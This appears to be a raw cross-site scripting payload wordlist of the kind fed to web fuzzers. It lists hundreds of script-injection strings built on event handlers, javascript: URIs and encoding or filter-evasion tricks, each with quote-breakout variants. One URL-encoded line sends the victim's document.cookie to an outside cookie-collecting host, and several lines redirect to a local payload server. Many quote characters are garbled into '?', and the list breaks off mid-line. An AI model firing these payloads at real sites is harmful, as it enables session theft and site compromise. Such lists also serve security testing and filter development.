&#x000003c; &#X3c &#X03c &#X003c &#X0003c &#X00003c &#X000003c &#X3c; &#X03c; &#X003c; &#X0003c; &#X00003c; &#X000003c; &#x3C &#x03C &#x003C &#x0003C &#x00003C &#x000003C &#x3C; &#x03C; &#x003C; &#x0003C; &#x00003C; &#x000003C; &#X3C &#X03C &#X003C &#X0003C &#X00003C &#X000003C &#X3C; &#X03C; &#X003C; &#X0003C; &#X00003C; &#X000003C; \\x3c \\x3C \\u003c \\u003C\r\n<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">X</A>\r\n\"><A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">X</A>\r\n'><A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">X</A>\r\n<A HREF=\"http://1113982867/\">X</A>\r\n\"><A HREF=\"http://1113982867/\">X</A>\r\n'><A HREF=\"http://1113982867/\">X</A>\r\n<A HREF=\"h tt\tp://6&#09;6.000146.0x7.147/\">X</A>\r\n\"><A HREF=\"h tt\tp://6&#09;6.000146.0x7.147/\">X</A>\r\n'><A HREF=\"h tt\tp://6&#09;6.000146.0x7.147/\">X</A>\r\n<A HREF=\"//google\">X</A>\r\n\"><A HREF=\"//google\">X</A>\r\n'><A HREF=\"//google\">X</A>\r\n<A HREF=\"http://127.0.0.1:3555/xss_serve_payloads/X.html@google\">X</A\r\n\"><A HREF=\"http://127.0.0.1:3555/xss_serve_payloads/X.html@google\">X</A\r\n'><A HREF=\"http://127.0.0.1:3555/xss_serve_payloads/X.html@google\">X</A\r\n<A HREF=\"http://google:127.0.0.1:3555/xss_serve_payloads/X.html\">X</A>\r\n\"><A HREF=\"http://google:127.0.0.1:3555/xss_serve_payloads/X.html\">X</A>\r\n'><A HREF=\"http://google:127.0.0.1:3555/xss_serve_payloads/X.html\">X</A>\r\ndocument.write('<iframe src=\"http://127.0.0.1:3555/xss_serve_payloads/X.html\" style=\"border: 0; width: 100%; height: 100%\"></iframe>')\r\nhttp://%22%20onerror=%22alert%281%29;//\r\ndocument.location='http://127.0.0.1:3555/xss_serve_payloads/X.html'\r\ndocument.location=\"http://127.0.0.1:3555/xss_serve_payloads/X.html\"\r\n\\\"><script>alert(/X/)<script>\r\n;alert%28String.fromCharCode%2875,67,70%29%29//\\%27;alert%28String.fromCharCode%2875,67,70%29%29//%22;alert%28String.fromCharCode%2875,67,70%29%29//\\%22;alert%28String.fromCharCode%2875,67,70%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2875,67,70%29%29%3C/SCRIPT%3E\r\n<input onfocus=write(1) autofocus>\r\n\"><input onfocus=write(1) autofocus>\r\n'><input onfocus=write(1) autofocus>\r\n<video poster=javascript:alert(1)//></video>\r\n\"><video poster=javascript:alert(1)//></video>\r\n'><video poster=javascript:alert(1)//></video>\r\n<video poster=prompt(1)//></video>\r\n\"><video poster=prompt(1)//></video>\r\n'><video poster=prompt(1)//></video>\r\n<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\r\n\"><body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\r\n'><body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\r\n<body onscroll=prompt(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\r\n\"><body onscroll=prompt(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\r\n'><body onscroll=prompt(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\r\n<form id=test onforminput=prompt(1)><input></form><button form=test onformchange=prompt(2)>X</button>\r\n\"><form id=test onforminput=prompt(1)><input></form><button form=test onformchange=prompt(2)>X</button>\r\n'><form id=test onforminput=prompt(1)><input></form><button form=test onformchange=prompt(2)>X</button>\r\n<video><source onerror=\"alert(1)\">\r\n\"><video><source onerror=\"alert(1)\">\r\n'><video><source onerror=\"alert(1)\">\r\n<video><source onerror=\"prompt(1)\">\r\n\"><video><source onerror=\"prompt(1)\">\r\n'><video><source onerror=\"prompt(1)\">\r\n<video><source onerror=\"prompt(1)\">\r\n\"><video><source onerror=\"prompt(1)\">\r\n'><video><source onerror=\"prompt(1)\"></source></video>\r\n\"><video><source onerror=\"prompt(1)\"></source></video>\r\n'><video><source onerror=\"prompt(1)\"></source></video>\r\n<form><button formaction=\"javascript:alert(1)\">X</button>\r\n\"><form><button formaction=\"javascript:alert(1)\">X</button>\r\n'><form><button formaction=\"javascript:alert(1)\">X</button>\r\n<body oninput=alert(1)><input autofocus>\r\n\"><body oninput=alert(1)><input autofocus>\r\n'><body oninput=alert(1)><input autofocus>\r\n<body oninput=prompt(1)><input autofocus>\r\n\"><body oninput=prompt(1)><input autofocus>\r\n'><body oninput=prompt(1)><input autofocus>\r\n<frameset onload=prompt(1)>\r\n\"><frameset onload=prompt(1)>\r\n'><frameset onload=prompt(1)>\r\n<comment><img src=\"</comment><img src=x onerror=alert(1)//\">\r\n\"><comment><img src=\"</comment><img src=x onerror=alert(1)//\">\r\n'><comment><img src=\"</comment><img src=x onerror=alert(1)//\">\r\n<comment><img src=\"</comment><img src=x onerror=prompt(1)//\">\r\n\"><comment><img src=\"</comment><img src=x onerror=prompt(1)//\">\r\n'><comment><img src=\"</comment><img src=x onerror=prompt(1)//\">\r\n<style><img src=\"</style><img src=x onerror=prompt(1)//\">\r\n\"><style><img src=\"</style><img src=x onerror=prompt(1)//\">\r\n'><style><img src=\"</style><img src=x onerror=prompt(1)//\">\r\n<SCRIPT FOR=document EVENT=onreadystatechange>prompt(1)</SCRIPT>\r\n\"><SCRIPT FOR=document EVENT=onreadystatechange>prompt(1)</SCRIPT>\r\n'><SCRIPT FOR=document EVENT=onreadystatechange>prompt(1)</SCRIPT>\r\n<div style=width:1px;filter:glow onfilterchange=prompt(1)>x</div>\r\n\"><div style=width:1px;filter:glow onfilterchange=prompt(1)>x</div>\r\n'><div style=width:1px;filter:glow onfilterchange=prompt(1)>x</div>\r\n<img[a][b]src=x[d]onerror[c]=[e]\"prompt(1)\">\r\n\"><img[a][b]src=x[d]onerror[c]=[e]\"prompt(1)\">\r\n'><img[a][b]src=x[d]onerror[c]=[e]\"prompt(1)\">\r\n'-prompt(1)'\r\n'-alert(1)-'\r\n';alert(String.fromCharCode(75,67,70))//';alert(String.fromCharCode(75,67,70))//\";\r\nalert(String.fromCharCode(75,67,70))//\";alert(String.fromCharCode(75,67,70))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>\r\n<IMG SRC=# onmouseover=\"alert('X')\">\r\n\"><IMG SRC=# onmouseover=\"alert('X')\">\r\n'><IMG SRC=# onmouseover=\"alert('X')\">\r\n<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>\r\n\"><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>\r\n'><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>\r\n<IMG SRC=\"jav&#x0A;ascript:alert('X');\">\r\n\"><IMG SRC=\"jav&#x0A;ascript:alert('X');\">\r\n'><IMG SRC=\"jav&#x0A;ascript:alert('X');\">\r\nexp/*<A STYLE='no\\X:noX(\"*//*\");X:ex/*X*//*/*/pression(alert(\"X\"))'>\r\n'\"--></style></script><script>alert(\"X\")</script>\r\n'\"--></style></script><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n\"><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n'><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n\"></script><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n\"><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n'><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n'></script><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n\"><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n'><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n&'\"><script>alert(/X/)</script>\r\n</ScrIpt><script>alert(/X/)</script>\r\n\"><script>alert(/X/)</script>\r\n</ScrIpt><script>alert(/X/)</script>\r\n'><script>alert(/X/)</script>\r\n</ScrIpt><script>alert(/X/)</script>\r\n%26'%22%3E%3Cscript%3Ealert(%2FX%2F)%3C%2Fscript%3E%3D\r\n&'\">PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4\r\n&'\">/'-C<FEP=#YA;&5R=\"@O>'-S+RD\\+W-C<FEP=#.\r\n&'\">\\u{3c}\\u{73}\\u{63}\\u{72}\\u{69}\\u{70}\\u{74}\\u{3e}\\u{61}\\u{6c}\\u{65}\\u{72}\\u{74}\\u{28}\\u{2f}\\u{78}\\u{73}\\u{73}\\u{2f}\\u{29}\\u{3c}\\u{2f}\\u{73}\\u{63}\\u{72}\\u{69}\\u{70}\\u{74}\\u{3e}\r\n&'\">\\u003c\\u0073\\u0063\\u0072\\u0069\\u0070\\u0074\\u003e\\u0061\\u006c\\u0065\\u0072\\u0074\\u0028\\u002f\\u0078\\u0073\\u0073\\u002f\\u0029\\u003c\\u002f\\u0073\\u0063\\u0072\\u0069\\u0070\\u0074\\u003e\r\n&'\">0x3c7363726970743e616c657274282f7873732f293c2f7363726970743e\r\n&'\">-1,54,38,53,44,51,55,-1,36,47,40,53,55,-1,-1,59,54,54,-1,-1,-1,-1,54,38,53,44,51,55,-1\r\n&'\">PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\r\n&'\">3e7470697263732f3c292f7373782f287472656c613e7470697263733c\r\n&'\">chr(60).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(62).chr(97).chr(108).chr(101).chr(114).chr(116).chr(40).chr(47).chr(120).chr(115).chr(115).chr(47).chr(41).chr(60).chr(47).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(62)\r\n&'\">TypeError: Cannot read property '$content$' of undefined\r\n&'\">\\74\\163\\143\\162\\151\\160\\164\\76\\141\\154\\145\\162\\164\\50\\57\\170\\163\\163\\57\\51\\74\\57\\163\\143\\162\\151\\160\\164\\76\r\n&'\"><script>alert(/X/)</???>\r\n&'\">%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u003e%u0061%u006c%u0065%u0072%u0074%u0028%u002f%u0078%u0073%u0073%u002f%u0029%u003c%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003e\r\n&'\">\\uff1c\\uff53\\uff43\\uff52\\uff49\\uff50\\uff54\\uff1e\\uff41\\uff4c\\uff45\\uff52\\uff54\\uff08\\uff0f\\uff58\\uff53\\uff53\\uff0f\\uff09\\uff1c\\uff0f\\uff53\\uff43\\uff52\\uff49\\uff50\\uff54\\uff1e\r\n&'\">&lt;script&gt;alert&lpar;&sol;X&sol;&rpar;&lt;&sol;script&gt;\r\n&'\">&lt;script&gt;alert(/X/)&lt;/script&gt;\r\n&'\">Description:Syntax error Msg:Unexpected token < )\r\n</script><svg onload='-/\"/-alert(1)//'>\r\n\"></script><svg onload='-/\"/-alert(1)//'>\r\n'></script><svg onload='-/\"/-alert(1)//'>\r\n<!-- --!><script>alert(X)</script>-->\r\n\"><!-- --!><script>alert(X)</script>-->\r\n'><!-- --!><script>alert(X)</script>-->\r\n<![CDATA[<script>alert(X)</script>]]>\r\n\"><![CDATA[<script>alert(X)</script>]]>\r\n'><![CDATA[<script>alert(X)</script>]]>\r\n[data \"1<div style=width:expression(prompt(1))>\"]\r\n+onerror=alert(1)%3E/\r\n+onerror=prompt(1)%3E/\r\n?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e\r\n?#?gad=xxxx\"onload=\"alert(1)\"\r\n#?gad=xxxx\"onload=\"alert(1)\"\r\n/#?gad=xxxx\"onload=\"alert(1)\"\r\n?><script >alert(1)</script >\r\n?><ScRiPt>alert(1)</ScRiPt>\r\n?%3e%3cscript%3ealert(1)%3c/script%3e\r\n?><scr<script>ipt>alert(1)</scr</script>ipt>\r\n\"><scr<script>ipt>alert(1)</scr</script>ipt>\r\n'><scr<script>ipt>alert(1)</scr</script>ipt>\r\n%00?><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n<xml onreadystatechange=alert(1)>\r\n\"><xml onreadystatechange=alert(1)>\r\n'><xml onreadystatechange=alert(1)>\r\n<style onreadystatechange=alert(1)>\r\n\"><style onreadystatechange=alert(1)>\r\n'><style onreadystatechange=alert(1)>\r\n<iframe onreadystatechange=alert(1)>\r\n\"><iframe onreadystatechange=alert(1)>\r\n'><iframe onreadystatechange=alert(1)>\r\n<object onerror=alert(1)>\r\n\"><object onerror=alert(1)>\r\n'><object onerror=alert(1)>\r\n<object type=image src=X.gif onreadystatechange=alert(1)></object>\r\n\"><object type=image src=X.gif onreadystatechange=alert(1)></object>\r\n'><object type=image src=X.gif onreadystatechange=alert(1)></object>\r\n<img type=image src=X.gif onreadystatechange=alert(1)>\r\n\"><img type=image src=X.gif onreadystatechange=alert(1)>\r\n'><img type=image src=X.gif onreadystatechange=alert(1)>\r\n<input type=image src=X.gif onreadystatechange=alert(1)>\r\n\"><input type=image src=X.gif onreadystatechange=alert(1)>\r\n'><input type=image src=X.gif onreadystatechange=alert(1)>\r\n<isindex type=image src=X.gif onreadystatechange=alert(1)>\r\n\"><isindex type=image src=X.gif onreadystatechange=alert(1)>\r\n'><isindex type=image src=X.gif onreadystatechange=alert(1)>\r\n<script onreadystatechange=alert(1)>\r\n\"><script onreadystatechange=alert(1)>\r\n'><script onreadystatechange=alert(1)>\r\n<bgsound onpropertychange=alert(1)>\r\n\"><bgsound onpropertychange=alert(1)>\r\n'><bgsound onpropertychange=alert(1)>\r\n<body onbeforeactivate=alert(1)>\r\n\"><body onbeforeactivate=alert(1)>\r\n'><body onbeforeactivate=alert(1)>\r\n<body onactivate=alert(1)>\r\n\"><body onactivate=alert(1)>\r\n'><body onactivate=alert(1)>\r\n<body onfocusin=alert(1)>\r\n\"><body onfocusin=alert(1)>\r\n'><body onfocusin=alert(1)>\r\n<input onblur=alert(1) autofocus><input autofocus>\r\n\"><input onblur=alert(1) autofocus><input autofocus>\r\n'><input onblur=alert(1) autofocus><input autofocus>\r\n<body onscroll=alert(1)><br><br>...<br><input autofocus>\r\n\"><body onscroll=alert(1)><br><br>...<br><input autofocus>\r\n'><body onscroll=alert(1)><br><br>...<br><input autofocus>\r\n</a onmousemove=alert(1)>\r\n\"></a onmousemove=alert(1)>\r\n'></a onmousemove=alert(1)>\r\n<video src=1 onerror=alert(1)>\r\n\"><video src=1 onerror=alert(1)>\r\n'><video src=1 onerror=alert(1)>\r\n<audio src=1 onerror=alert(1)>\r\n\"><audio src=1 onerror=alert(1)>\r\n'><audio src=1 onerror=alert(1)>\r\n<object data=javascript:alert(1)>\r\n\"><object data=javascript:alert(1)>\r\n'><object data=javascript:alert(1)>\r\n<iframe src=javascript:alert(1)>\r\n\"><iframe src=javascript:alert(1)>\r\n'><iframe src=javascript:alert(1)>\r\n<embed src=javascript:alert(1)>\r\n\"><embed src=javascript:alert(1)>\r\n'><embed src=javascript:alert(1)>\r\n<form id=test /><button form=test formaction=javascript:alert(1)>\r\n\"><form id=test /><button form=test formaction=javascript:alert(1)>\r\n'><form id=test /><button form=test formaction=javascript:alert(1)>\r\n<event-source src=javascript:alert(1)>\r\n\"><event-source src=javascript:alert(1)>\r\n'><event-source src=javascript:alert(1)>\r\n<x style=x:expression(alert(1))>\r\n\"><x style=x:expression(alert(1))>\r\n'><x style=x:expression(alert(1))>\r\n<x style=behavior:url(#default#time2) onbegin=alert(1)>\r\n\"><x style=behavior:url(#default#time2) onbegin=alert(1)>\r\n'><x style=behavior:url(#default#time2) onbegin=alert(1)>\r\n<iMg onerror=alert(1) src=a>\r\n\"><iMg onerror=alert(1) src=a>\r\n'><iMg onerror=alert(1) src=a>\r\n<[%00]img onerror=alert(1) src=a>\r\n\"><[%00]img onerror=alert(1) src=a>\r\n'><[%00]img onerror=alert(1) src=a>\r\n<i[%00]mg onerror=alert(1) src=a>\r\n\"><i[%00]mg onerror=alert(1) src=a>\r\n'><i[%00]mg onerror=alert(1) src=a>\r\n<img/onerror=alert(1) src=a>\r\n\"><img/onerror=alert(1) src=a>\r\n'><img/onerror=alert(1) src=a>\r\n<img[%09]onerror=alert(1) src=a>\r\n\"><img[%09]onerror=alert(1) src=a>\r\n'><img[%09]onerror=alert(1) src=a>\r\n<img[%0d]onerror=alert(1) src=a>\r\n\"><img[%0d]onerror=alert(1) src=a>\r\n'><img[%0d]onerror=alert(1) src=a>\r\n<img[%0a]onerror=alert(1) src=a>\r\n\"><img[%0a]onerror=alert(1) src=a>\r\n'><img[%0a]onerror=alert(1) src=a>\r\n<img/?onerror=alert(1) src=a>\r\n\"><img/?onerror=alert(1) src=a>\r\n'><img/?onerror=alert(1) src=a>\r\n\"><img/?onerror=alert(1) src=a>\r\n\"><img/?onerror=alert(1) src=a>\r\n'><img/?onerror=alert(1) src=a>\r\n'><img/?onerror=alert(1) src=a>\r\n\"><img/?onerror=alert(1) src=a>\r\n'><img/?onerror=alert(1) src=a>\r\n<img/?onerror=alert(1) src=a>\r\n\"><img/?onerror=alert(1) src=a>\r\n'><img/?onerror=alert(1) src=a>\r\n\"><img/?onerror=alert(1) src=a>\r\n\"><img/?onerror=alert(1) src=a>\r\n'><img/?onerror=alert(1) src=a>\r\n'><img/?onerror=alert(1) src=a>\r\n\"><img/?onerror=alert(1) src=a>\r\n'><img/?onerror=alert(1) src=a>\r\n<img/anyjunk/onerror=alert(1) src=a>\r\n\"><img/anyjunk/onerror=alert(1) src=a>\r\n'><img/anyjunk/onerror=alert(1) src=a>\r\n<img o[%00]nerror=alert(1) src=a>\r\n\"><img o[%00]nerror=alert(1) src=a>\r\n'><img o[%00]nerror=alert(1) src=a>\r\n<i[%00]m[%00]g o[%00]ner[%00]r[%00]or[%00]=a[%00]ler[%00]t(1) sr[%00]c=[%00]a>\r\n\"><i[%00]m[%00]g o[%00]ner[%00]r[%00]or[%00]=a[%00]ler[%00]t(1) sr[%00]c=[%00]a>\r\n'><i[%00]m[%00]g o[%00]ner[%00]r[%00]or[%00]=a[%00]ler[%00]t(1) sr[%00]c=[%00]a>\r\n<img onerror=?alert(1)?src=a>\r\n\"><img onerror=?alert(1)?src=a>\r\n'><img onerror=?alert(1)?src=a>\r\n\"><img onerror=?alert(1)?src=a>\r\n\"><img onerror=?alert(1)?src=a>\r\n'><img onerror=?alert(1)?src=a>\r\n'><img onerror=?alert(1)?src=a>\r\n\"><img onerror=?alert(1)?src=a>\r\n'><img onerror=?alert(1)?src=a>\r\n<img onerror=?alert(1)?src=a>\r\n\"><img onerror=?alert(1)?src=a>\r\n'><img onerror=?alert(1)?src=a>\r\n\"><img onerror=?alert(1)?src=a>\r\n\"><img onerror=?alert(1)?src=a>\r\n'><img onerror=?alert(1)?src=a>\r\n'><img onerror=?alert(1)?src=a>\r\n\"><img onerror=?alert(1)?src=a>\r\n'><img onerror=?alert(1)?src=a>\r\n<img onerror=`alert(1)`src=a>\r\n\"><img onerror=`alert(1)`src=a>\r\n'><img onerror=`alert(1)`src=a>\r\n<iframe src=j&#x61;vasc&#x72ipt&#x3a;alert&#x28;1&#x29; >\r\n\"><iframe src=j&#x61;vasc&#x72ipt&#x3a;alert&#x28;1&#x29; >\r\n'><iframe src=j&#x61;vasc&#x72ipt&#x3a;alert&#x28;1&#x29; >\r\n<img onerror=a&#x06c;ert(1) src=a>\r\n\"><img onerror=a&#x06c;ert(1) src=a>\r\n'><img onerror=a&#x06c;ert(1) src=a>\r\n<img onerror=a&#x006c;ert(1) src=a>\r\n\"><img onerror=a&#x006c;ert(1) src=a>\r\n'><img onerror=a&#x006c;ert(1) src=a>\r\n<img onerror=a&#x0006c;ert(1) src=a>\r\n\"><img onerror=a&#x0006c;ert(1) src=a>\r\n'><img onerror=a&#x0006c;ert(1) src=a>\r\n<img onerror=a&#108;ert(1) src=a>\r\n\"><img onerror=a&#108;ert(1) src=a>\r\n'><img onerror=a&#108;ert(1) src=a>\r\n<img onerror=a&#0108;ert(1) src=a>\r\n\"><img onerror=a&#0108;ert(1) src=a>\r\n'><img onerror=a&#0108;ert(1) src=a>\r\n<img onerror=a&#108ert(1) src=a>\r\n\"><img onerror=a&#108ert(1) src=a>\r\n'><img onerror=a&#108ert(1) src=a>\r\n<img onerror=a&#0108ert(1) src=a>\r\n\"><img onerror=a&#0108ert(1) src=a>\r\n'><img onerror=a&#0108ert(1) src=a>\r\n%253cimg%20onerror=alert(1)%20src=a%253e\r\n%3cimg onerror=alert(1) src=a%3e\r\n<img onerror=alert(1) src=a>\r\n\"><img onerror=alert(1) src=a>\r\n'><img onerror=alert(1) src=a>\r\n?img onerror=alert(1) src=a?\r\n<script>a\\u006cert(1);</script>\r\n</ScrIpt><script>a\\u006cert(1);</script>\r\n\"><script>a\\u006cert(1);</script>\r\n</ScrIpt><script>a\\u006cert(1);</script>\r\n'><script>a\\u006cert(1);</script>\r\n</ScrIpt><script>a\\u006cert(1);</script>\r\n<script>eval(?a\\u006cert(1)?);</script>\r\n</ScrIpt><script>eval(?a\\u006cert(1)?);</script>\r\n\"><script>eval(?a\\u006cert(1)?);</script>\r\n</ScrIpt><script>eval(?a\\u006cert(1)?);</script>\r\n'><script>eval(?a\\u006cert(1)?);</script>\r\n</ScrIpt><script>eval(?a\\u006cert(1)?);</script>\r\n<script>eval(?a\\x6cert(1)?);</script>\r\n</ScrIpt><script>eval(?a\\x6cert(1)?);</script>\r\n\"><script>eval(?a\\x6cert(1)?);</script>\r\n</ScrIpt><script>eval(?a\\x6cert(1)?);</script>\r\n'><script>eval(?a\\x6cert(1)?);</script>\r\n</ScrIpt><script>eval(?a\\x6cert(1)?);</script>\r\n<script>eval(?a\\154ert(1)?);</script>\r\n</ScrIpt><script>eval(?a\\154ert(1)?);</script>\r\n\"><script>eval(?a\\154ert(1)?);</script>\r\n</ScrIpt><script>eval(?a\\154ert(1)?);</script>\r\n'><script>eval(?a\\154ert(1)?);</script>\r\n</ScrIpt><script>eval(?a\\154ert(1)?);</script>\r\n<script>eval(?a\\l\\ert\\(1\\)?);</script>\r\n</ScrIpt><script>eval(?a\\l\\ert\\(1\\)?);</script>\r\n\"><script>eval(?a\\l\\ert\\(1\\)?);</script>\r\n</ScrIpt><script>eval(?a\\l\\ert\\(1\\)?);</script>\r\n'><script>eval(?a\\l\\ert\\(1\\)?);</script>\r\n</ScrIpt><script>eval(?a\\l\\ert\\(1\\)?);</script>\r\n<script>eval(?al?+?ert(1)?);</script>\r\n</ScrIpt><script>eval(?al?+?ert(1)?);</script>\r\n\"><script>eval(?al?+?ert(1)?);</script>\r\n</ScrIpt><script>eval(?al?+?ert(1)?);</script>\r\n'><script>eval(?al?+?ert(1)?);</script>\r\n</ScrIpt><script>eval(?al?+?ert(1)?);</script>\r\n<script>eval(String.fromCharCode(75,67,70));</script>\r\n</ScrIpt><script>eval(String.fromCharCode(75,67,70));</script>\r\n\"><script>eval(String.fromCharCode(75,67,70));</script>\r\n</ScrIpt><script>eval(String.fromCharCode(75,67,70));</script>\r\n'><script>eval(String.fromCharCode(75,67,70));</script>\r\n</ScrIpt><script>eval(String.fromCharCode(75,67,70));</script>\r\n<script>eval(atob(?amF2YXNjcmlwdDphbGVydCgxKQ?));</script>\r\n</ScrIpt><script>eval(atob(?amF2YXNjcmlwdDphbGVydCgxKQ?));</script>\r\n\"><script>eval(atob(?amF2YXNjcmlwdDphbGVydCgxKQ?));</script>\r\n</ScrIpt><script>eval(atob(?amF2YXNjcmlwdDphbGVydCgxKQ?));</script>\r\n'><script>eval(atob(?amF2YXNjcmlwdDphbGVydCgxKQ?));</script>\r\n</ScrIpt><script>eval(atob(?amF2YXNjcmlwdDphbGVydCgxKQ?));</script>\r\n<script>?alert(1)?.replace(/.+/,eval)</script>\r\n</ScrIpt><script>?alert(1)?.replace(/.+/,eval)</script>\r\n\"><script>?alert(1)?.replace(/.+/,eval)</script>\r\n</ScrIpt><script>?alert(1)?.replace(/.+/,eval)</script>\r\n'><script>?alert(1)?.replace(/.+/,eval)</script>\r\n</ScrIpt><script>?alert(1)?.replace(/.+/,eval)</script>\r\n<script>function::[?alert?](1)</script>\r\n</ScrIpt><script>function::[?alert?](1)</script>\r\n\"><script>function::[?alert?](1)</script>\r\n</ScrIpt><script>function::[?alert?](1)</script>\r\n'><script>function::[?alert?](1)</script>\r\n</ScrIpt><script>function::[?alert?](1)</script>\r\n<img onerror=&#x65;&#x76;&#x61;&#x6c;&#x28;&#x27;al&#x5c;u0065rt&#x28;1&#x29;&#x27;&#x29; src=a>\r\n\"><img onerror=&#x65;&#x76;&#x61;&#x6c;&#x28;&#x27;al&#x5c;u0065rt&#x28;1&#x29;&#x27;&#x29; src=a>\r\n'><img onerror=&#x65;&#x76;&#x61;&#x6c;&#x28;&#x27;al&#x5c;u0065rt&#x28;1&#x29;&#x27;&#x29; src=a>\r\n<script language=vbs>MsgBox 1</script>\r\n\"><script language=vbs>MsgBox 1</script>\r\n'><script language=vbs>MsgBox 1</script>\r\n<img onerror=?vbs:MsgBox 1? src=a>\r\n\"><img onerror=?vbs:MsgBox 1? src=a>\r\n'><img onerror=?vbs:MsgBox 1? src=a>\r\n<img onerror=MsgBox+1 language=vbs src=a>\r\n\"><img onerror=MsgBox+1 language=vbs src=a>\r\n'><img onerror=MsgBox+1 language=vbs src=a>\r\n<SCRIPT LANGUAGE=VBS>MSGBOX 1</SCRIPT>\r\n\"><SCRIPT LANGUAGE=VBS>MSGBOX 1</SCRIPT>\r\n'><SCRIPT LANGUAGE=VBS>MSGBOX 1</SCRIPT>\r\n<IMG ONERROR=?VBS:MSGBOX 1? SRC=A>\r\n\"><IMG ONERROR=?VBS:MSGBOX 1? SRC=A>\r\n'><IMG ONERROR=?VBS:MSGBOX 1? SRC=A>\r\n<script>execScript(?MsgBox 1?,?vbscript?);</script>\r\n</ScrIpt><script>execScript(?MsgBox 1?,?vbscript?);</script>\r\n\"><script>execScript(?MsgBox 1?,?vbscript?);</script>\r\n</ScrIpt><script>execScript(?MsgBox 1?,?vbscript?);</script>\r\n'><script>execScript(?MsgBox 1?,?vbscript?);</script>\r\n</ScrIpt><script>execScript(?MsgBox 1?,?vbscript?);</script>\r\n<script language=vbs>execScript(?alert(1)?)</script>\r\n\"><script language=vbs>execScript(?alert(1)?)</script>\r\n'><script language=vbs>execScript(?alert(1)?)</script>\r\n<SCRIPT LANGUAGE=VBS>EXECSCRIPT(LCASE(?ALERT(1)?)) </SCRIPT>\r\n\"><SCRIPT LANGUAGE=VBS>EXECSCRIPT(LCASE(?ALERT(1)?)) </SCRIPT>\r\n'><SCRIPT LANGUAGE=VBS>EXECSCRIPT(LCASE(?ALERT(1)?)) </SCRIPT>\r\n<IMG ONERROR=?VBS:EXECSCRIPT LCASE(?ALERT(1)?)? SRC=A>\r\n\"><IMG ONERROR=?VBS:EXECSCRIPT LCASE(?ALERT(1)?)? SRC=A>\r\n'><IMG ONERROR=?VBS:EXECSCRIPT LCASE(?ALERT(1)?)? SRC=A>\r\n<img onerror=?VBScript.Encode:#@~^CAAAAA==\\ko$K6,FoQIAAA==^#~@? src=a>\r\n\"><img onerror=?VBScript.Encode:#@~^CAAAAA==\\ko$K6,FoQIAAA==^#~@? src=a>\r\n'><img onerror=?VBScript.Encode:#@~^CAAAAA==\\ko$K6,FoQIAAA==^#~@? src=a>\r\n<img language=?JScript.Encode? onerror=?#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@? src=a>\r\n\"><img language=?JScript.Encode? onerror=?#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@? src=a>\r\n'><img language=?JScript.Encode? onerror=?#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@? src=a>\r\n<script>var a = ?</script><script>alert(1)</script>\r\n</ScrIpt><script>var a = ?</script><script>alert(1)</script>\r\n\"><script>var a = ?</script><script>alert(1)</script>\r\n</ScrIpt><script>var a = ?</script><script>alert(1)</script>\r\n'><script>var a = ?</script><script>alert(1)</script>\r\n</ScrIpt><script>var a = ?</script><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n<scr%00ipt%20&message=> alert(?X?)</script>\r\n\"><scr%00ipt%20&message=> alert(?X?)</script>\r\n'><scr%00ipt%20&message=> 